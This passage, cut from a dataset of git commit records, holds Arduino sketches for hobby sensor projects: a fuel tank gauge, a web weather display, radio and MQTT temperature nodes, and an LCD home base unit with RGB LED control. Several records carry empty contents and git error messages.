= fuelLevel*10;\n \/\/Serial.println(fuelLevelVal);\n if (xLength != oldxLength && page == 0)\n {\n\/\/ Serial.print(\"xLength \");\n\/\/ Serial.print(xLength);\n\/\/ Serial.print(\" \");\n\/\/ Serial.println(oldxLength);\n \n oldxLength = xLength;\n \n if (xLength > 100)\n {\n xLength = 100;\n }\n if (xLength < 0)\n {\n xLength = 0;\n }\n\n Tft.drawString(\"TANK\", 0, 210, 3, WHITE);\n Tft.fillRectangle(130,208,106,26,BLUE);\n Tft.fillRectangle(133, 211, xLength, 20, WHITE);\n for(int xCoord = 133; xCoord <243; xCoord+=10)\n {\n Tft.drawLine(xCoord,211,xCoord,231,BLACK);\n }\n }\n}\n\nvoid fuelPressure()\n{\n pressureVoltage = analogRead(pressurePin)*5.0\/1023.0;\n psi = 7.5*pressureVoltage - 3.075;\n \n sumP = sumP - readingP[indexP];\n \/\/ read from the sensor:\n readingP[indexP] = psi;\n \/\/ add the reading to the total:\n sumP = sumP + readingP[indexP];\n \/\/ advance to the next position in the array:\n indexP = indexP + 1;\n \/\/ if we're at the end of the array...\n if (indexP >= numReadings)\n \/\/ ...wrap around to the beginning:\n indexP = 0;\n \/\/ calculate the average:\n pressure = sumP \/ numReadings;\n}\n\n\n\/\/float getVoltage(int pin)\t\t\t\t \/\/ function that reads the value of the temperature pin and returns it\n\/\/ to be converted into a temperature value.\n\/\/{\n\/\/return(analogRead(pin)*0.004882814);\n\/\/}\n\n\/*\n***********************************************************************************************************************************************\n END OF CODE\n***********************************************************************************************************************************************\n*\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WVO_Controller_0.6.3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abd634317495f67e6f018547b48fa5616565a1ef","subject":"no message","message":"no message\n","repos":"CycloneCanSat\/Software,CycloneCanSat\/Software,CycloneCanSat\/Software","old_file":"Can Code\/Atlantis\/Atlantis.ino","new_file":"Can Code\/Atlantis\/Atlantis.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Can' did not match any file(s) known to git\nerror: pathspec 'Code\/Atlantis\/Atlantis.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b7c7353d8fb4c2b2df214f4d1ee00f23e0a9efe","subject":"web example with json","message":"web example with json\n","repos":"ashumeow\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,zfields\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino,ms-iot\/virtual-shields-arduino,ashumeow\/virtual-shields-arduino,zfields\/virtual-shields-arduino,JimGaleForce\/virtual-shields-arduino","old_file":"VirtualShield\/examples\/Basic-Web\/Basic-Web.ino","new_file":"VirtualShield\/examples\/Basic-Web\/Basic-Web.ino","new_contents":"\/*\n Copyright(c) Microsoft Open Technologies, Inc. All rights reserved.\n\n The MIT License(MIT)\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files(the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions :\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n*\/\n\n\/\/ Include the ArduinoJson library, a dependency.\n#include <ArduinoJson.h>\n\n\/\/ VirtualShield is the core of all shields.\n#include <VirtualShield.h>\n\n\/\/ Text is to display text onscreen.\n#include <Text.h>\n\n\/\/ Web is the web shield.\n#include <Web.h>\n\n\/\/ Instantiate the shields.\nVirtualShield shield;\nText screen = Text(shield);\nWeb web = Web(shield);\n\nvoid webEvent(ShieldEvent* shieldEvent)\n{\n const int MAX_RESPONSE = 100;\n char response[MAX_RESPONSE];\n \n screen.printAt(3, \"ResponseCode:\");\n screen.printAt(4, shieldEvent->resultId);\n \n web.getResponse(response, MAX_RESPONSE);\n \n EPtr eptrs[3];\n int parts = EPtr::parse(response, eptrs, 3, '|', 0);\n \n screen.printAt(5, \"The weather for:\");\n \n String message = eptrs[0].value;\n screen.printAt(7, message.substring(0,eptrs[0].length));\n screen.printAt(8, \"for\");\n \n message = eptrs[1].value;\n screen.printAt(9, message.substring(0,eptrs[1].length));\n screen.printAt(10, \"is\");\n \n message = eptrs[2].value;\n screen.printAt(11, message.substring(0,eptrs[2].length));\n}\n\n\/\/ Callback for startup, reconnection, and when the pushing 'Refresh' button\nvoid refresh(ShieldEvent* shieldEvent)\n{\n \/\/ clear the screen to a color\n screen.clear();\n \n screen.printAt(1, \"Retrieving the forecast\");\n \n String url = \"http:\/\/forecast.weather.gov\/MapClick.php?lat=47.6694&lon=-122.1239&FcstType=json\";\n String parsingInstructions = \"J:location.areaDescription|&^J:time.startPeriodName[0]|&^J:data.weather[0]\";\n \n web.get(url, parsingInstructions);\n}\n\nvoid setup()\n{\n \/\/ Call 'refresh' on startup, on reconnection, and when the pushing 'Refresh' button\n shield.setOnRefresh(refresh);\n\n \/\/ When web has a result, call the webEvent method\n web.setOnEvent(webEvent);\n\n \/\/ Begin the shield communication\n shield.begin();\n}\n\nvoid loop()\n{\n \/\/ checkSensors() checks for return events and handles them (calling callbacks). This is VirtualShield's single loop() method.\n shield.checkSensors();\n}\t\t \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VirtualShield\/examples\/Basic-Web\/Basic-Web.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd6a11c33c65e8ce411b8e5bc2f0dfd26fd0f8b6","subject":"Remove duplicate code.","message":"Remove duplicate code.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"d8bfbad65945bbb8ab0cd3c53cbcfaa7307ad590","subject":"Add Code for Pro Mini","message":"Add Code for Pro Mini\n","repos":"Mike6gPerso\/RPi,Mike6gPerso\/RPi,Mike6gPerso\/RPi,Mike6gPerso\/RPi","old_file":"Arduino-Node\/Group-2\/Node_1-nano_temperature_sensor\/Node_1-Pro-mini_temperature_sensor.ino","new_file":"Arduino-Node\/Group-2\/Node_1-nano_temperature_sensor\/Node_1-Pro-mini_temperature_sensor.ino","new_contents":"#include <SPI.h>\n\n#include <RadioHead.h>\n#include <RH_ASK.h>\n#include <DHT.h>\n#include <LowPower.h>\n\n#define GROUP_ID 2 \/\/ Temperature + Humidity sensor\n#define NODE_ID 1\n\n#define DHTPIN 2 \/\/ what pin we're connected to\n\/\/ Uncomment whatever type you're using!\n\/\/#define DHTTYPE DHT11 \/\/ DHT 11\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\/\/ Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(DHTPIN, DHTTYPE,1);\n\/\/ NOTE: For working with a faster chip, like an Arduino Due or Teensy, you\n\/\/ might need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ Example to initialize DHT sensor for Arduino Due:\n\/\/DHT dht(DHTPIN, DHTTYPE, 30);\nconst int transmit_pin = 10;\nconst int transmit_en_pin = 12;\nconst int receive_pin = 5;\nconst int dht_power_pin = 9;\nconst int led_pin = 13;\nuint16_t speed = 2000;\n\nRH_ASK driver(speed);\n\nvoid setup() {\n\n Serial.begin(9600);\n pinMode(dht_power_pin, OUTPUT);\n dht.begin();\n \/\/driver.init();\n if (!driver.init())\n Serial.println(\"init failed\");\n}\nvoid loop() {\n\n digitalWrite(dht_power_pin, HIGH);\n digitalWrite(led_pin, HIGH);\n delay(500);\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius\n float t = dht.readTemperature();\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) ){\n \/\/Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n char tempHum [50];\n \/\/snprintf(tempHum, 50, \"%i,TS:%lu,G:%d,N:%d,H:%d,T:%i\", ++nbLoop, millis(), GROUP_ID, NODE_ID,(int)(h*100), (int)(t*100)); \n snprintf(tempHum, 50, \"*#%lu*%i*%i*%i*%i##\", millis(), GROUP_ID, NODE_ID,(int)((t-1)*100), (int)(h*100)); \n driver.send((uint8_t *) tempHum, strlen(tempHum));\n \/\/driver.send(tempHum, strlen(tempHum));\n driver.waitPacketSent();\n\n digitalWrite(dht_power_pin, LOW);\n digitalWrite(led_pin, LOW);\n\n \/\/Serial.print(\"Transmitting at speed:\");\n \/\/Serial.println(speed);\n Serial.print(\"Sending:\");\n Serial.println(tempHum);\n Serial.print(\"strlen:\");\n Serial.println(strlen(tempHum));\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(t);\n Serial.println(\" *C\");\n\n\n delay(1000 + NODE_ID);\n \/\/delay(4000);\n \/\/ Enter power down state for 8 s with ADC and BOD module disabled\n for(int i = 0; i < 7; i++) \/\/56 sec\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n\n delay(100 + NODE_ID);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino-Node\/Group-2\/Node_1-nano_temperature_sensor\/Node_1-Pro-mini_temperature_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbd49cdb5d3106d325651441e24c44216915d725","subject":"WIP: Temperature and Pressure sensore","message":"WIP: Temperature and Pressure sensore\n\nSensor using BMP280 and SI7021 over I2C\n","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266","old_file":"TempAndPressure\/TempAndPressure.ino","new_file":"TempAndPressure\/TempAndPressure.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP280.h>\n#include <SI7021.h>\n\n\/\/ device specifics\n#include \"WirelessConfig.h\"\n\n#define TRANSMIT_INTERVAL_SECONDS 120\n\nIPAddress server(10, 1, 1, 186);\n\nAdafruit_BMP280 bmp; \nSI7021 sensor;\n\nWiFiClient wclient;\nESP8266WiFiGenericClass wifi;\nPubSubClient client(wclient, server);\n\nvoid setup() {\n \/\/ wait a bit to let things settle\n delay(1000);\n\n Serial.begin(115200);\n Serial.println(\"starting\");\n \n \/\/ use pins 4,5 for SDA, SCL\n Wire.begin(D4, D5);\n sensor.begin(D4, D5);\n\n \/\/ start the bmp sensor\n if (!bmp.begin(0x76)) { \n Serial.println(\"No BMP280 sensor\");\n }\n\n \/\/ turn of the Access Point as we are not using it\n wifi.mode(WIFI_STA);\n}\n\nvoid loop() {\n char conversionBuffer[20];\n \n client.loop();\n\n \/\/ make sure we are good for wifi\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n WiFi.begin(ssid, pass);\n \n if (WiFi.waitForConnectResult() != WL_CONNECTED) {\n return;\n }\n Serial.println(\"WiFi connected\");\n }\n\n if (!client.connected()) {\n if (client.connect(\"sensclient\")) {\n client.subscribe(\"inTopic\");\n }\n }\n\n client.publish(\"house\/mcuSensor\/1\/temp1\", \n dtostrf(bmp.readTemperature(), 2, 2, conversionBuffer));\n \n client.publish(\"house\/mcuSensor\/1\/temp2\", \n dtostrf(((float)sensor.getCelsiusHundredths())\/100, 2, 2, conversionBuffer));\n\n client.publish(\"house\/mcuSensor\/1\/pressure\", \n dtostrf(bmp.readPressure(), 2, 2, conversionBuffer));\n\n sprintf(conversionBuffer, \"%d\", sensor.getHumidityPercent());\n client.publish(\"house\/mcuSensor\/1\/humidity\", conversionBuffer);\n \n delay(TRANSMIT_INTERVAL_SECONDS * 1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TempAndPressure\/TempAndPressure.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1451d63c35bf09e38056bb423dfd2b90c31efc2b","subject":"Added Edison Sample","message":"Added Edison Sample\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/Edison\/HelloEdison\/HelloEdison.ino","new_file":"AfricasTalkingCloud\/Package\/AfricasTalkingCloud\/examples\/Edison\/HelloEdison\/HelloEdison.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1279bb7eaaadae58b8c08872ede0c6b35fa2f5f2","subject":"base","message":"base\n\nbase\n","repos":"KeepCUBE\/KeepCUBE-atmega","old_file":"Base\/Base.ino","new_file":"Base\/Base.ino","new_contents":"#include <LiquidCrystal_I2C.h>\n\/\/#include <LiquidCrystal.h>\n#include <RCSwitch.h>\n#include \"BMP280.h\"\n#include <Wire.h>\n\n#define temperature 1 \/\/ BMP(temperature); \/\/ vrati teplotu\n#define pressure 2 \/\/ BMP(pressure); \/\/ vrati tlak\n\n\n#define upPin 6\n#define downPin 5\n#define enterPin 7\n#define backPin 8\n\n\n\/\/menu piny\nint klavesa;\nint mZobrazeny = 1;\nint keyPressed = 0;\nint16_t mPozice = 0;\nint mFlip = 0;\nbool mZacatek;\n\nuint16_t refreshCount = 0;\n\nuint16_t rgb[4];\nint mState = 0;\n\n\/\/definice nazvu polozek v seznamu\nString mChar[] = {\n \"1>Show IP adress\",\n \"2>Set color \",\n \"3>Show temp. \",\n \"4>Show Humidity \",\n \"5>Show pressure \",\n \"6>Restart \"\n};\n\n\/\/zjisteni poctu polozek v seznamu\nint mPocet = (sizeof(mChar) \/ sizeof(mChar[0]));\n\n\nLiquidCrystal_I2C lcd(0x3F, 16, 2); \/\/pro i2c\n\/\/LiquidCrystal lcd(RS, RW, EN, D4, D5, D6, D7); \/\/pro normalni displej\n\n\n#define R_led_pin 9\n#define G_led_pin 10\n#define B_led_pin 11\n#define test_led_pin 13\n#define transmit_pin 12\n\nRCSwitch mySwitch = RCSwitch();\n\nint Rled = 0;\nint Gled = 0;\nint Bled = 0;\nString LED_address;\n\nconst int HTU_ADRESA = 0x40;\nconst int HTU_TEPLOTA = 0xE3;\nconst int HTU_VLHKOST = 0xE5;\n\ndouble BMP_TEPLOTA;\ndouble BMP_TLAK;\n\nString dsc;\nString codeToSend;\n\nbool light = false;\n\nBMP280 bmp;\n\nbyte degree[8] = {\n 0b00010,\n 0b00101,\n 0b00010,\n 0b00000,\n 0b00000,\n 0b00000,\n 0b00000,\n 0b00000\n};\n\n\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\n\nvoid setup()\n{\n \/*\n \/\/\/\/\/\/\/\/piny pro lcd\/\/\/\/\/\/\/\/\n pinMode(54, OUTPUT); \/\/\n pinMode(55, OUTPUT); \/\/\n pinMode(67, OUTPUT); \/\/\n pinMode(68, OUTPUT); \/\/\n pinMode(13, OUTPUT); \/\/\n digitalWrite(54, LOW); \/\/\n digitalWrite(55, HIGH); \/\/\n digitalWrite(67, HIGH); \/\/\n digitalWrite(68, LOW); \/\/\n analogWrite(13, 130);\/\/jas\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n *\/\n pinMode(upPin, INPUT); \/\/up\n pinMode(downPin, INPUT); \/\/down\n pinMode(enterPin, INPUT); \/\/enter\n pinMode(backPin, INPUT); \/\/back\n\n Serial.begin(9600);\n\n lcd.init();\n lcd.backlight();\n \/\/lcd.begin(16, 2);\n lcd.createChar(0, degree);\n\n lcd.setCursor(0, 1); lcd.print(F(\"Loading... \"));\n\n pinMode(R_led_pin, OUTPUT);\n pinMode(G_led_pin, OUTPUT);\n pinMode(B_led_pin, OUTPUT);\n\n mySwitch.enableTransmit(transmit_pin);\n\n\n Wire.begin();\n if (!bmp.begin())\n {\n \/\/Serial.println(F(\"BMP nebylo nacteno!\"));\n }\n else\n {\n \/\/Serial.println(F(\"BMP pripojeno!\"));\n }\n bmp.setOversampling(4);\n\n}\n\nString SerialRead(int count)\n{\n String dsc;\n for (int i = 0; i < count; i++)\n {\n dsc += char(Serial.read());\n }\n return dsc;\n}\n\n\/\/resetovaci funkce, nevim presne jak to funguje, nasel jsem to na netu\n\/\/void(* reset) (void) = 0;\n\n\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\n\n\nvoid loop()\n{\n HandleSerial();\n refresh_lcd(); \/\/bacha, tohle je na displej!\n refresh_led(); \/\/bacha, tohle je na RGB led pasek!\n mMenu();\n analogWrite(R_led_pin, 0);\n analogWrite(G_led_pin, 0);\n analogWrite(B_led_pin, 255);\n}\n\n\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\n\nvoid zobrazitIP()\n{\n lcd.setCursor(0, 0); lcd.print(F(\"IP: \"));\n lcd.setCursor(0, 1); lcd.print(F(\"10.0.0.106 \")); \/\/sem se doplni kod na zjisteni pravdive IP\n}\n\n\nvoid nastavitBarvu()\n{\n int colorNow = 1;\n lcd.setCursor(0, 0); lcd.print(F(\"Nastav postupne \"));\n lcd.setCursor(0, 1); lcd.print(F(\"hodnoty barev: \"));\n delay(1800);\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n lcd.setCursor(0, 0); lcd.print(F(\"Hodnota cervene \"));\n lcd.setCursor(0, 1); lcd.print(F(\"barvy: \"));\n\n\n do\n {\n keyPressed = wait4key();\n wait4antikey(keyPressed);\n switch (keyPressed) {\n case 1:\n if (rgb[1] == 99) {\n rgb[1]--;\n }\n rgb[1]++;\n break;\n\n case 2:\n if (rgb[1] == 0) {\n rgb[1]++;\n }\n rgb[1]--;\n break;\n\n case 3:\n lcd.setCursor(0, 0); lcd.print(F(\"Cervena barva \"));\n lcd.setCursor(0, 1); lcd.print(F(\" \"));\n colorNow = 2;\n delay(500);\n goto colorEnter1;\n break;\n\n case 4:\n\n break;\n\n default:\n\n break;\n }\n\n lcd.setCursor(7, 1); lcd.print(rgb[1]); lcd.print(F(\" \"));\n }\n while (true);\ncolorEnter1:\n lcd.setCursor(0, 1); lcd.print(F(\"nastavena! \"));\n delay(500);\n\n\n lcd.setCursor(0, 0); lcd.print(F(\"Hodnota zelene \"));\n lcd.setCursor(0, 1); lcd.print(F(\"barvy: \"));\n\n\n do\n {\n keyPressed = wait4key();\n wait4antikey(keyPressed);\n switch (keyPressed) {\n case 1:\n if (rgb[2] == 99) {\n rgb[2]--;\n }\n rgb[2]++;\n break;\n\n case 2:\n if (rgb[2] == 0) {\n rgb[2]++;\n }\n rgb[2]--;\n break;\n\n case 3:\n lcd.setCursor(0, 0); lcd.print(F(\"Zelena barva \"));\n lcd.setCursor(0, 1); lcd.print(F(\" \"));\n colorNow = 2;\n delay(500);\n goto colorEnter2;\n break;\n\n case 4:\n\n break;\n\n default:\n\n break;\n }\n\n lcd.setCursor(7, 1); lcd.print(rgb[2]); lcd.print(\" \");\n }\n while (true);\ncolorEnter2:\n lcd.setCursor(0, 1); lcd.print(F(\"nastavena! \"));\n delay(500);\n\n\n lcd.setCursor(0, 0); lcd.print(F(\"Hodnota modre \"));\n lcd.setCursor(0, 1); lcd.print(F(\"barvy: \"));\n\n\n do\n {\n keyPressed = wait4key();\n wait4antikey(keyPressed);\n switch (keyPressed) {\n case 1:\n if (rgb[3] == 99) {\n rgb[3]--;\n }\n rgb[3]++;\n break;\n\n case 2:\n if (rgb[3] == 0) {\n rgb[3]++;\n }\n rgb[3]--;\n break;\n\n case 3:\n lcd.setCursor(0, 0); lcd.print(F(\"Modra barva \"));\n lcd.setCursor(0, 1); lcd.print(F(\" \"));\n colorNow = 2;\n delay(500);\n goto colorEnter3;\n break;\n\n case 4:\n\n break;\n\n default:\n\n break;\n }\n\n lcd.setCursor(7, 1); lcd.print(rgb[3]); lcd.print(F(\" \"));\n }\n while (true);\ncolorEnter3:\n lcd.setCursor(0, 1); lcd.print(F(\"nastavena! \"));\n delay(1000);\n\n\n lcd.setCursor(0, 0); lcd.print(F(\"Hodnoty barev \"));\n lcd.setCursor(0, 1); lcd.print(F(\"nastaveny! \"));\n\n\n}\n\n\nvoid ukazatTeplotu()\n{\n lcd.setCursor(0, 0); lcd.print(F(\" \"));\n lcd.setCursor(0, 1); lcd.print(F(\"Temp: 21 C \")); \/\/sem se doplni kod na zjisteni pravdive teploty\n}\n\n\nvoid ukazatVlhkost()\n{\n lcd.setCursor(0, 0); lcd.print(F(\" \"));\n lcd.setCursor(0, 1); lcd.print(F(\"Humi: 59 % \")); \/\/sem se doplni kod na zjisteni pravdive vlhkosti\n}\n\n\nvoid ukazatTlak()\n{\n lcd.setCursor(0, 0); lcd.print(F(\" \"));\n lcd.setCursor(0, 1); lcd.print(F(\"Press: 1000 hPa \")); \/\/sem se doplni kod na zjisteni pravdiveho tlaku\n}\n\n\nvoid restartovatKC()\n{\n lcd.setCursor(0, 0); lcd.print(F(\" \"));\n\n lcd.setCursor(0, 1); lcd.print(F(\"Restarting \"));\n delay(250);\n lcd.setCursor(0, 1); lcd.print(F(\"Restarting. \"));\n delay(250);\n lcd.setCursor(0, 1); lcd.print(F(\"Restarting.. \"));\n delay(250);\n lcd.setCursor(0, 1); lcd.print(F(\"Restarting... \"));\n delay(500);\n\n\n digitalWrite(11, LOW);\n\n \/\/reset();\/\/zatim nefunguje, bude priste\n}\n\n\nvoid refresh_lcd()\n{\n \/\/preicteni pocitadla\n refreshCount += 1;\n\n\n\n \/\/IFy casove spinane, v poslednim je refreshCount = 0;\n if (refreshCount == 150)\n {\n lcd.setCursor(0, 0); lcd.print(F(\"Temperature: \"));\n \/\/lcd.setCursor(0, 1); lcd.print(String(BMP(temperature)));\n lcd.setCursor(0, 1); lcd.print(F(\"26.18\"));\n lcd.write(byte(0)); \/\/stupen\n lcd.print(\"C \");\n lcd.print(\"79.12\"); \/\/vypise hodnotu ve fahrenheitech\n lcd.write(byte(0)); \/\/stupen\n lcd.write('F');\n }\n\n if (refreshCount == 300)\n {\n lcd.setCursor(0, 0); lcd.print(F(\"Pressure: \"));\n \/\/lcd.setCursor(0, 1); lcd.print(String(BMP(pressure)) + \" hPa \");\n lcd.setCursor(0, 1); lcd.print(F(\"1012.73 hPa \"));\n }\n\n if (refreshCount == 450)\n {\n lcd.setCursor(0, 0); lcd.print(F(\"Humidity: \"));\n lcd.setCursor(0, 1); lcd.print(String(HTU_convHumi()) + \" % \");\n \/\/lcd.setCursor(0, 1); lcd.print(F(\"46.96 % \"));\n }\n\n if (refreshCount == 600)\n {\n lcd.setCursor(0, 0); lcd.print(F(\"Users: \"));\n lcd.setCursor(0, 1); lcd.print(F(\"1 \")); \/\/sem se doplni kod na zjisteni poctu lidi\n refreshCount = 0;\n }\n}\n\n\nvoid refresh_led()\n{\n static byte r;\n static byte g;\n static byte b;\n static int x;\n int rychlost = 3;\n\n delay(10); \/\/celkove cekani mezi vsemi operacemi (proste snizovani taktu CPU :D)\n\n if (b >= 200)\n {\n x = 1;\n }\n if (b <= 50)\n {\n x = 2;\n }\n\n switch (x)\n {\n case 0:\n b = 161;\n x = 2;\n break;\n case 1:\n b -= rychlost;\n break;\n case 2:\n b += rychlost;\n break;\n }\n\n\n analogWrite(R_led_pin, r);\n analogWrite(G_led_pin, g);\n analogWrite(B_led_pin, b);\n}\n\n\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\/\/\\\\\n\nvoid HandleSerial()\n{\n if (Serial.available() > 0)\n {\n if (Serial.peek() == '#')\n {\n delay(100);\n Serial.read();\n dsc = \"\";\n dsc = SerialRead(1);\n if (dsc == \"D\")\n {\n dsc = SerialRead(1);\n if (dsc == \"S\")\n {\n \/\/sending info\n dsc = SerialRead(1);\n if (dsc == \"T\")\n {\n \/\/sending temperature\n dsc = SerialRead(3);\n if (dsc == \"00E\")\n {\n \/\/Serial.println(\"RRT\" + String(HTU_convTemp()*100, 0) + \"E\");\n Serial.println(\"#RRT-212E\");\n }\n }\n else if (dsc == \"H\")\n {\n dsc = SerialRead(3);\n if (dsc == \"00E\")\n {\n \/\/HERE SERIAL PRINT HUMIDITY\n Serial.println(\"#RRH99E\");\n }\n }\n else if (dsc == \"P\")\n {\n dsc = SerialRead(3);\n if (dsc == \"00E\")\n {\n \/\/HERE SERIAL PRINT PRESSURE\n Serial.println(\"#RRP1024321E\");\n }\n }\n }\n else if (dsc == \"C\")\n {\n \/\/DO CHANGE\n if (Serial.read() == 'C')\n {\n \/\/color change\n LED_address = SerialRead(2);\n Rled = SerialRead(2).toInt();\n Gled = SerialRead(2).toInt();\n Bled = SerialRead(2).toInt();\n if (Serial.read() == 'E')\n {\n Serial.println(\"Changing color on: \" + LED_address + \" to: B\" + String(Rled) + \" G\" + String(Gled) + \" B\" + String(Bled));\n\/\/9 10 11\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n }\n }\n }\n else if (dsc == \"B\")\n {\n \/\/DO BROADCAST\n dsc = SerialRead(1);\n if (dsc == \"C\")\n {\n if (SerialRead(1) == \";\")\n {\n codeToSend = \"\";\n while (Serial.peek() != ';')\n {\n codeToSend += SerialRead(1);\n }\n Serial.read();\n if (SerialRead(1) == \"E\")\n {\n \/\/HERE DIRECTLY BROADCAST CODE (v promenne codeToSend)\n \/\/Serial.println(\"Broadcasting code: \" + codeToSend);\n mySwitch.send(codeToSend.toInt(), 24);\n }\n }\n }\n }\n else if (dsc == \"R\")\n {\n \/\/response receiving\n }\n }\n else\n {\n Serial.read();\n }\n }\n dsc == \"\";\n }\n}\n\n\nlong htu(int adresa, int kod)\n{\n Wire.beginTransmission(adresa);\n Wire.write(kod);\n Wire.endTransmission();\n byte DataHIGH;\n byte DataLOW;\n byte CRC;\n long data;\n Wire.requestFrom(adresa, 3);\n while (Wire.available())\n {\n DataHIGH = Wire.read();\n DataLOW = Wire.read();\n CRC = Wire.read();\n }\n data = DataHIGH;\n data = data << 8;\n data = data + DataLOW;\n 